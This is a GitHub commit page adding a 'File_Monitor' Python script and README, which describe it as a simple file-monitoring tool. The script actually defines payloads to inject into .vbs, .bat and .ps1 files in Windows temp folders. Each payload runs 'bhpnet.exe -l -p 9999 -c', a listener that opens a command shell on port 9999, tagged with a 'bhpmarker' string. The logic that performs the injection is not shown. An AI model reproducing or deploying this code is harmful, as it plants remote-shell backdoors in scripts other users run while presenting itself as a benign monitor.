Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 2fa2742

Browse files
Merge pull request avinashkranjan#2628 from Kalivarapubindusree/file98
File_Monitor Script added
2 parents 1f67e7b + 5b6dd37 commit 2fa2742

File tree

2 files changed

+34
-0
lines changed

2 files changed

+34
-0
lines changed

‎File_Monitor/File_Monitor.py‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import tempfile
2+
import threading
3+
import win32file
4+
import win32con
5+
import os
6+
7+
dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()]
8+
9+
FILE_CREATED = 1
10+
FILE_DELETED = 2
11+
FILE_MODIFIED = 3
12+
FILE_RENAMED_FROM = 4
13+
FILE_RENAMED_TO = 5
14+
15+
file_types = {
16+
'.vbs': ["\r\n'bhpmarker\r\n", f"\r\nCreateObject(\"Wscript.Shell\").Run(\"C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c\")\r\n"],
17+
'.bat': ["\r\nREM bhpmarker\r\n", "\r\nC:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c\r\n"],
18+
'.ps1': ["\r\n#bhpmarker", "Start-Process \"C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c\""],
19+
}

‎File_Monitor/README.md‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# File_Monitor
2+
3+
Short description of package/script
4+
5+
- This Script Was simple to setup
6+
- Need import tempfile, threading , win32file, win32con, os
7+
8+
## Setup instructions
9+
10+
Just Need to Import tempfile, threading , win32file, win32con, os then run the File_Monitor.py file and for running python3 is must be installed!
11+
12+
## Detailed explanation of script, if needed
13+
14+
This Script Is Only for File_Monitor_Script use only!
15+

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /